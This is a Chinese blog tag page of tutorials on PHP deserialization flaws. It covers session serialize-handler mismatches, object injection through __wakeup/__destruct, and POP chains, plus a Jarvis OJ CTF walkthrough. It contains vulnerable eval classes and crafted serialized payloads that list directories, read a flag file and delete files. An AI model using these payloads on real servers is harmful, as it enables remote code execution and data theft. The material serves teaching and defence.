标签 PHP反序列化 下的文章

PHP Session 序列及反序列化安全隐患

PHP Session 序列化及反序列化处理器

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器对应的存储格式
php键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize(php>=5.5.4)经过 serialize() 函数反序列处理的数组

配置选项 session.serialize_handler

PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器

安全隐患

一个简单例子:

<?php
class syclover{
        var $func="";
        function __construct() {
            $this->func = "phpinfo()";
        }
        function __wakeup(){
            eval($this->func);
        }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:

object(syclover)[1]
  public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。
这就是一个简单的序列化的漏洞的演示

下面是如何利用:

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
\
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
  'a:1:{s:6:"spoock";s:24:"' => 
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

举个栗子:

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
us2.php,使用php来处理session
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }
    
    function __destruct() {
         eval($this->hi);
    }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

实际利用

i)当 session.auto_start=On 时:

当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,如下面的代码:

//foo.php

if (ini_get('session.auto_start')) {
    session_destroy();
}

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];

当第一次访问该脚本,并提交数据如下:

foo.php?ryat=|O:8:"stdClass":0:{}

脚本会按照 php_serialize 处理器的序列化格式存储数据:

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象:)

这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。

ii)当 session.auto_start=Off 时:

当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:

//foo1.php

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];


//foo2.php

ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini 
session_start();

class ryat {
    var $hi;

    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi;
    }
}

当访问 foo1.php 时,提交数据如下:

foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 __wakeup 方法和 __destruct 方法

本地测试

<?php 
ini_set('session.serialize_handler', 'php_serialize'); 
session_start(); 
$_SESSION["Ni9htMar3"]=$_GET["a"]; 
?>
<?php 
ini_set('session.serialize_handler', 'php'); 
session_start(); 
class Ni9htMar3 
{ 
    public $haha;
    function __construct()
    { 
        //$this->haha = 'echo "Hacked!";';
        $this->haha = 'phpinfo();';         
    } 
    function __destruct() 
    { 
        eval($this->haha); 
    } 
} 
//$m = new Ni9htMar3();
//echo serialize($m);
//|O:9:"Ni9htMar3":1:{s:4:"haha";s:15:"echo "Hacked!";";}
?>

session_start()介绍
php session_start()函数用于初始化session数据,我们在使用session时,经常要使用到$_SESSION变量,$_SESSION是服务器端的cookie,相当一个大数组(浏览器关闭前,和session销毁前),$_SESSION中的数据可以一直用(除了重新赋值),在使用这个变量之前,必须先要开启session_start()。但不一定要把这个函数放在第一行,而是要保证在使用它之前,没有向浏览器输出过任何内容。

特别注意:在调用session_start()之前,要确保页面没有向浏览器输出过任何内容。

php配置文件里可以设置session.auto_start =1 这样就不需要调用session_start(),直接就能使用session

php session_start()实例讲解

<?php
    /* http://www.manongjc.com/article/1267.html */  
    session_start();  
    $_SESSION['test'] = 'test111';  
    $_SESSION['test2'] = 22222;  
?>  

session_start()会做两件事:

  1. 在客户端生成一个存放PHPSESSID的cookie文件,

这个文件的存放位置和存放方式跟程序的执行方式有关,不同的浏览器也不尽相同,这一步会产生一个序列化后的字符串——PHPSESSID;

  1. 在服务端生成一个存放session数据的临时文件;

存放的位置由session.save_path参数指定,名称类似于“sess_b2f326ee7a8b7617c215a30d22a602f1”,“sess_”代表这是个session文件,“b2f326ee7a8b7617c215a30d22a602f1”即此次会话的PHPSESSID,跟客户端的PHPSESSID一定是一样的。这个文件里存放的就是$_SESSION变量里的具体值,格式为:

变量名 | 变量类型 : [长度] : 值

eg:test|s:7:"test111";test2|i:22222;

ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 

php大于5.5.4的版本中默认使用php_serialize规则

例子

题目源码:jarvis oj 一道题。

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));

<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

可以看到ini_set('session.serialize_handler', 'php');

session.serialize_handler函数是用来设置session序列化引擎的。这里是将session序列化引擎设置为php解析

题目的关键点就在这里,如果PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化可以在phpinfo里看到,xx服务器默认的解析方式是php_ serialize。而题目中将解析方式设置成了php。这就造成了seesion的反序列化问题。即先以php_serialize存入,再以php的序列化方式读取。

php引擎的解析方式是以 | 分割键名和键值。比如name|s:6:"hu3sky";而php_serialize引擎的解析出来的是a:1:{s:4:"name";s:6:"hu3sky";} 这里只要是php_serialize解析都会有a:1这时我们就可以按照这个特性来构造执行对象的命令。

通过php_serialize构造的:

a:1:{s:6:"hu3sky";s:20:"|O:8:"stdClass":0:{}";}

以php的方式解析会变为:

array(1) { ["a:1:{s:6:"hu3sky";s:20:""]=> object(stdClass)#1 (0) { }}

成功执行了变量。

服务器默认的解析方式是php_ serialize。而题目中将解析方式设置成了php。这就造成了seesion的反序列化问题。即先以php_serialize存入,再以php的序列化方式读取。

这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问index.php时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过Session Upload Progress来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS(需要session.upload_progress.enabled 状态为 on)的变量,就可以将filename的值赋值到session中,上传的页面的写法在上面。

最后在Session就会保存上传的文件名。
下面就对PHP_SESSION_UPLOAD_PROGRESS来写入的方式进行测试。
在本地中,需要对$mdzz进行赋值,然后通过析构函数中的eval()去执行$mdzz中的方法。

配置不当可造成session被控。当session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。

在phpinfo 查看 session.upload_progress.name 构造如下上传页面:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

然后构造payload:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz = 'payload';
}
$obj = new OowoO;
echo serialize($obj);
?>

payload1:将payload替换为print_r(scandir(dirname(FILE)));,得到序列化结果(获取目标目录下的内容):

(原博客中此payload有错,已改正。)
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

防止转义在引号前加上。利用前面的html页面随便上传一个东西,抓包,把filename改为如下:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

注意前面的|不要忘了,php解析是把|后面的当成键值。

看到如下返回值内容:

</code>Array
(
    [0] => .
    [1] => ..
    [2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php
    [3] => index.php
    [4] => phpinfo.php
)

下面读取php文件:

先看一下绝对路径,payload如下:

filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:29:\"print_r((dirname(__FILE__)));\";}"

读取文件:

print_r(file_get_contents(“/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php”));

加上为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

读取得到flag。

参考

PHP Object Injection

0x01简介

php对象注入(php Object Injection),就是通常说的php反序列化。

0x02 基本实现原理

php序列化操作serialize()是为了将对象或数组等转变为正常的字符串,用于保存内容或传参数等等。那么反序列化unserialize()是其相反的操作,将一个序列化好的字符串作为输入,返回原来的数组或对象等,但其中需考虑到对象实例化和自动加载。也就是说,反序列化可能会导致代码被执行。

对象实例化,当调用new class()时,class()就成为了一个实例化的对象。当反序列化一个字符串时,而这正是PHP所做的(对象实例化),就会恢复原来的数组或对象。反序列化对象允许控制所有属性:publicprotectedprivate

举个例子:反序列化对象通过__construct()初始化,通过__wakeup()唤醒,执行完后有__destruct()销毁,那么在这些魔幻函数中存在的代码是会被执行的,而这些代码又恰好被我们控制的话,漏洞就产生了。根据不同的内容可以导致多种多样的攻击,比如代码注入,sql注入,目录遍历和拒绝服务等。

漏洞的根源在于可控参数传递给unserialize()函数没有采取合理地过滤。成功利用需要两个条件:

  1. 应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击。
  2. POP chain

常见的魔术函数:__construct(),__destruct(),__call(),callStatic(),__get(),__set(),__isset(),__unset(),__sleep(),__wakeup(),__tostring()

0x03 普通反序列化__destruct()

一般反序列化只要满足下面几个条件即可利用:

  • 反序列化unserialize()参数的值可控
  • 含有魔术方法
  • 魔术方法内部有可控参数

拿owasp上的一个例子说明一下(源代码稍有改动,windows下测试成功):

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 上午 11:38
 */

class Example1
{
    public $cache_file;

    function __construct()
    {
        // some PHP code...
    }

    function __destruct()
    {
        print $this->cache_file;
        $file = "F:\\"."$this->cache_file";
        print $file;
        if (file_exists($file))
        {
            print 'exist';
            @unlink($file);
        }
    }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

?>

通过析构函数destruct()可以使用目录穿越删除任意文件。下面生成反序列化字符串:

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 上午 11:39
 */
class Example1{
    public $cache_file = 'test.txt';
}

$a = new Example1();
print serialize($a);

O:8:"Example1":1:{s:10:"cache_file";s:8:"test.txt";}

删除F盘下test.txt成功。

0x04 普通反序列化 __wakeup()

  • unserialize() 从字节流中创建了一个对象之后,马上检查是否具有__wakeup 的函数的存在。如果存在,__wakeup 立刻被调用。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

看下面一段代码:

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 下午 02:57
 */
class Example2
{
    private $hook;

    /**
     * @return mixed
     */
    public function getHook()
    {
        return $this->hook;
    }
    function __construct()
    {
        // some PHP code...
    }

    function __wakeup()
    {
        if (isset($this->hook)) eval($this->hook);
    }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);
var_dump($user_data);

// some PHP code...

分析:和上面基本一样,构造生成函数如下。

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 下午 02:57
 */

class Example2{
    private $hook ;

    /**
     * @param string $hook
     */
    public function __construct()
    {
        $this->hook = 'phpinfo();';
    }

    /**
     * @return string
     */
    public function getHook()
    {
        return $this->hook;
    }

}

$a = new Example2();
echo $a->getHook();

$b = urlencode(serialize($a));  //这里简直是一个大坑,生成的反序列化字符串含有不可打印字符,一定要url编码一下。
print $b;

payload如下:

O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D

hackbar提交即可。

0x05 反序列化之pop chain

owasp上的例子涉及数据库,有点复杂,在这我们自己举一个例子。

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 下午 04:26
 */


class Example3 {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new fun1();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class fun1 {
    function action() {
        echo "this is fun1";
    }
}

class php_info {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['a']);

上面代码可知example3本来要实例化fun1,然后调用action()方法,但是php_info类中也含有action()方法。所以如下代码生成反序列化字符串。

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 下午 04:26
 */
class Example3 {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new php_info();
    }
}
class php_info {
    private $data = "phpinfo();";
}

$a = serialize(new Example3());
print $a;
echo "\n\r";
echo urlencode($a);  //含空字符所以要url编码一下。
echo "\n\r";

输出如下:

D:\phpStudy\php\php-5.6.27-nts\php.exe "F:\php code\example3_generate.php"
O:8:"Example3":1:{s:11:" * ClassObj";O:8:"php_info":1:{s:14:" php_info data";s:10:"phpinfo();";}}
O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A8%3A%22php_info%22%3A1%3A%7Bs%3A14%3A%22%00php_info%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

payload:

http://localhost:63342/php%20code/example3.php?a=O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A8%3A%22php_info%22%3A1%3A%7Bs%3A14%3A%22%00php_info%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

即可执行phpinfo(),当然也可以执行任意php函数。

0x06 漏洞挖掘

  1. 观察输入的数据来源是否被反序列化;
  2. 搜索魔幻函数,观察有漏洞的脚本是否包含这个类。php中提供了get_included_files(),可以用来得到该脚本包含的文件。所以,我们在serialize调用前加上get_included_files()查看已包含的脚本,观察有漏洞的类是否在其中。

0x07关于反序列化的一些想法

serialize()/unserialize() 感觉就是一个坑,完全可以用json_encode()/json_decode()代替,如果非要使用序列化千万不要直接将用户输入传到unserialize()函数中。

0x08参考

preView